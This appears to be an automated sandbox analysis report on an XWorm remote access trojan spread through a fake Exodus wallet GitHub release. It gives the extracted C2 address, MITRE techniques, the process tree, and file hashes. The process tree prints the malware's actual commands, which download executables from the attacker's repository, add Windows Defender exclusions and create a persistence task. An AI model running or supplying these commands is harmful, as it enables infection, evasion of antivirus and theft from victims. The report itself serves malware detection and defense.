xworm | hxxps://github[.]com/ek4o/fake-exodus/releases/tag/ekoTools

Analysis

max time kernel
130s
max time network
133s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
03/03/2025, 02:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://github.com/ek4o/fake-exodus/releases/tag/ekoTools

Score

10^/10

xworm discovery execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

137.184.74.73:5000

Mutex

Y2rnj2CSRObOXXLb

Attributes

Install_directory
%ProgramData%
install_file
System.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/4900-300-0x00000000020A0000-0x00000000020AE000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 4 IoCs

flow	pid	Process
94	5492	powershell.exe
96	5492	powershell.exe
98	3980	powershell.exe
99	3980	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
5492	powershell.exe
3980	powershell.exe
5876	powershell.exe
1984	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
96	5492	powershell.exe
99	3980	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Control Panel\International\Geo\Nation	ExodusInject.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Control Panel\International\Geo\Nation	AggregatorHost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000\Control Panel\International\Geo\Nation	Exodus.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System.lnk	AggregatorHost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System.lnk	AggregatorHost.exe

Executes dropped EXE 5 IoCs

pid	Process
5208	ExodusInject.exe
5356	Exodus.exe
5848	Exodus.exe
4900	AggregatorHost.exe
5588	System.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
95	raw.githubusercontent.com
96	raw.githubusercontent.com
99	raw.githubusercontent.com

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExodusLoader.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
4620	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000_Classes\Local Settings	msedge.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1436	schtasks.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
2452	msedge.exe
2452	msedge.exe
4200	msedge.exe
4200	msedge.exe
2628	identity_helper.exe
2628	identity_helper.exe
3816	msedge.exe
3816	msedge.exe
5492	powershell.exe
5492	powershell.exe
5492	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
5876	powershell.exe
5876	powershell.exe
5876	powershell.exe
1984	powershell.exe
1984	powershell.exe
1984	powershell.exe
5952	msedge.exe
5952	msedge.exe
5952	msedge.exe
5952	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	5492	powershell.exe
Token: SeDebugPrivilege	3980	powershell.exe
Token: SeDebugPrivilege	5208	ExodusInject.exe
Token: SeBackupPrivilege	5384	vssvc.exe
Token: SeRestorePrivilege	5384	vssvc.exe
Token: SeAuditPrivilege	5384	vssvc.exe
Token: SeDebugPrivilege	5876	powershell.exe
Token: SeDebugPrivilege	1984	powershell.exe
Token: SeDebugPrivilege	4900	AggregatorHost.exe
Token: SeDebugPrivilege	4900	AggregatorHost.exe
Token: 33	5512	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	5512	AUDIODG.EXE
Token: SeDebugPrivilege	5588	System.exe

Suspicious use of FindShellTrayWindow 47 IoCs

pid	Process
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
5356	Exodus.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe
4200	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4200 wrote to memory of 4856	4200	msedge.exe	85
PID 4200 wrote to memory of 4856	4200	msedge.exe	85
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 408	4200	msedge.exe	86
PID 4200 wrote to memory of 2452	4200	msedge.exe	87
PID 4200 wrote to memory of 2452	4200	msedge.exe	87
PID 4200 wrote to memory of 2860	4200	msedge.exe	88
PID 4200 wrote to memory of 2860	4200	msedge.exe	88
PID 4200 wrote to memory of 2860	4200	msedge.exe	88
PID 4200 wrote to memory of 2860	4200	msedge.exe	88
PID 4200 wrote to memory of 2860	4200	msedge.exe	88
PID 4200 wrote to memory of 2860	4200	msedge.exe	88
PID 4200 wrote to memory of 2860	4200	msedge.exe	88
PID 4200 wrote to memory of 2860	4200	msedge.exe	88
PID 4200 wrote to memory of 2860	4200	msedge.exe	88
PID 4200 wrote to memory of 2860	4200	msedge.exe	88
PID 4200 wrote to memory of 2860	4200	msedge.exe	88
PID 4200 wrote to memory of 2860	4200	msedge.exe	88
PID 4200 wrote to memory of 2860	4200	msedge.exe	88
PID 4200 wrote to memory of 2860	4200	msedge.exe	88
PID 4200 wrote to memory of 2860	4200	msedge.exe	88
PID 4200 wrote to memory of 2860	4200	msedge.exe	88
PID 4200 wrote to memory of 2860	4200	msedge.exe	88
PID 4200 wrote to memory of 2860	4200	msedge.exe	88
PID 4200 wrote to memory of 2860	4200	msedge.exe	88
PID 4200 wrote to memory of 2860	4200	msedge.exe	88

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://github.com/ek4o/fake-exodus/releases/tag/ekoTools
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4200
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fff32aa46f8,0x7fff32aa4708,0x7fff32aa4718
  2⤵
  PID:4856
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2144,5474027244025324379,17582962781907235133,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2132 /prefetch:2
  2⤵
  PID:408
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2144,5474027244025324379,17582962781907235133,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2452
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2144,5474027244025324379,17582962781907235133,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2692 /prefetch:8
  2⤵
  PID:2860
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,5474027244025324379,17582962781907235133,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3316 /prefetch:1
  2⤵
  PID:4888
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,5474027244025324379,17582962781907235133,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3332 /prefetch:1
  2⤵
  PID:3060
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2144,5474027244025324379,17582962781907235133,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5316 /prefetch:8
  2⤵
  PID:1740
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2144,5474027244025324379,17582962781907235133,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5316 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2628
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,5474027244025324379,17582962781907235133,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4164 /prefetch:1
  2⤵
  PID:2228
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,5474027244025324379,17582962781907235133,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5440 /prefetch:1
  2⤵
  PID:5028
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,5474027244025324379,17582962781907235133,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3308 /prefetch:1
  2⤵
  PID:3988
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,5474027244025324379,17582962781907235133,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5776 /prefetch:1
  2⤵
  PID:1608
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2144,5474027244025324379,17582962781907235133,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5608 /prefetch:8
  2⤵
  PID:448
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,5474027244025324379,17582962781907235133,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5396 /prefetch:1
  2⤵
  PID:3316
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2144,5474027244025324379,17582962781907235133,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6264 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3816
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2144,5474027244025324379,17582962781907235133,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1864 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5952

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1372

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3816

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5284

C:\Users\Admin\Downloads\ExodusWallet\ExodusLoader.exe
"C:\Users\Admin\Downloads\ExodusWallet\ExodusLoader.exe"
1⤵
- System Location Discovery: System Language Discovery
PID:6084
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\A2A4.tmp\A2A5.tmp\A2A6.bat C:\Users\Admin\Downloads\ExodusWallet\ExodusLoader.exe"
  2⤵
  PID:5132
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ek4o/injector/raw/refs/heads/main/ExodusInject.exe' -OutFile 'C:\Users\Admin\Downloads\ExodusWallet\ExodusInject.exe'"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5492
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ek4o/injector/raw/refs/heads/main/Exodus.exe' -OutFile 'C:\Users\Admin\Downloads\ExodusWallet\Exodus.exe'"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3980
- - C:\Users\Admin\Downloads\ExodusWallet\ExodusInject.exe
    "C:\Users\Admin\Downloads\ExodusWallet\ExodusInject.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:5208
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\AggregatorHost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5876
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'AggregatorHost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1984
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpCD5D.tmp.bat""
      4⤵
      PID:5556
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:4620
- - C:\Users\Admin\Downloads\ExodusWallet\Exodus.exe
    "C:\Users\Admin\Downloads\ExodusWallet\Exodus.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    PID:5356

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5384

C:\Users\Admin\Downloads\ExodusWallet\Exodus.exe
"C:\Users\Admin\Downloads\ExodusWallet\Exodus.exe"
1⤵
- Executes dropped EXE
PID:5848

C:\Users\Admin\AppData\Roaming\AggregatorHost.exe
C:\Users\Admin\AppData\Roaming\AggregatorHost.exe
1⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4900
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System" /tr "C:\ProgramData\System.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1436

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x418 0x4f8
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5512

C:\ProgramData\System.exe
C:\ProgramData\System.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5588

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
395082c6d7ec10a326236e60b79602f2

SHA1
203db9756fc9f65a0181ac49bca7f0e7e4edfb5b

SHA256
b9ea226a0a67039df83a9652b42bb7b0cc2e6fa827d55d043bc36dd9d8e4cd25

SHA512
7095c260b87a0e31ddfc5ddf5730848433dcede2672ca71091efb8c6b1b0fc3333d0540c3ce41087702c99bca22a4548f12692234188e6f457c2f75ab12316bd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
e27df0383d108b2d6cd975d1b42b1afe

SHA1
c216daa71094da3ffa15c787c41b0bc7b32ed40b

SHA256
812f547f1e22a4bd045b73ff548025fabd59c6cba0da6991fdd8cfcb32653855

SHA512
471935e26a55d26449e48d4c38933ab8c369a92d8f24fd6077131247e8d116d95aa110dd424fa6095176a6c763a6271e978766e74d8022e9cdcc11e6355408ab

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\38b44db3-0673-4681-a322-7d3328231d1b.tmp

Filesize
1KB

MD5
6c69e0722cf8a40497480e842e7b6d39

SHA1
dc84c92066cbe41cfe886718072ce56636a1efa4

SHA256
946c2600f21473648ab15e9a137b3aba9d6a749e9920c6d203972faa7221fd98

SHA512
64895ffde99536c40503304a2d00fa3d0d41fc454265f5fa474d03f0c57c61da6eb4ae5029d9fed21dacbf92ce26b2e4569e28188cd95cba42e54e1e22a48022

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
1KB

MD5
710e3d4504235c687ade0ea261b7b1b2

SHA1
9a927a6386f2f6a37d4bea462a59e3a2fe62a2f3

SHA256
e4d044cb4077a23ef2cd42c6fcb19ee92d36e7379d896d39d387830c89b1afdb

SHA512
a0f59a477d32cfbde15fe1f0b7e3911ecd2d11e51e31c779313614f92a47668c170299de40c3ef92d77a52db953bdf72e8620b468c1efc28e572e70867fb6954

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
595B

MD5
afccf57f06470c3226d45bb05b413a90

SHA1
0c678e8d5c07133c9bf3bd4512063c6cf28be0eb

SHA256
4cc6ad8a2ab618d434299eed64a1263041aa9f4fcf657c7624e77345ddb28c06

SHA512
8f1ba668de84f5699b76615a832942b3f149c7e4d9b27e02dd7e1ceb574f65397af0794c25e69dd88196aafd8fd9c4cea656764506fea8ba97756d0f3440cdbe

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
a8ac4ffea960417e5fe00896e9cf56d2

SHA1
b887f457fa089ce3c29cd6b21cef4c62f55b073e

SHA256
f6dadb978993fddb22e5dfab9d787abace95f8c616ce8c9ac1a1703f4b86c151

SHA512
e6f097da1ce987e33b9a083f948973478db69a75b74fcdf8ef7951811ef76e0875d8e4fe20f6563098968258f96d3df99f56524ca3ebd977332e22b49ea45e9f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
c0402a28cc59e47dfbd361904689b6ee

SHA1
4febec4d8a4a1065e1b75e6a49d73c4d87d1299d

SHA256
a7342b68d9d0c2b8837b0968a42b95844c64c304ee2c76c603f1a9c9f2d6e9d7

SHA512
40e9d253623b90d74e5f63a31034340f026276bdef1e81aef5ef785bd721cd368fe99ad3de28b7233730149e28f92b26b47530664416c7838283b8014d38acc7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
71ce49cd306e4f079b10d97fce26f051

SHA1
53bde835dad2ace204a3f58f08372e6af1a8b5aa

SHA256
ab8179c202ce73fe613a119cb1093834fb5566ce36a6e1089ed6248fa68cb012

SHA512
40e2e361233e629b989c7f1810175877c3e81a635d90625ed36af5af4bb974a6727110ce454268f1a56699b8948c7231e6ac1d7fc4ed516487ce2e2227ca2d14

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
f4aeae7d882e505b053435b2570a6d32

SHA1
446635ffd690cd015d1334a4828ee0bf6362619e

SHA256
710f228614eabc566d8b0db4c878806d18ea251f5b59b16fbdd58429b335f4f4

SHA512
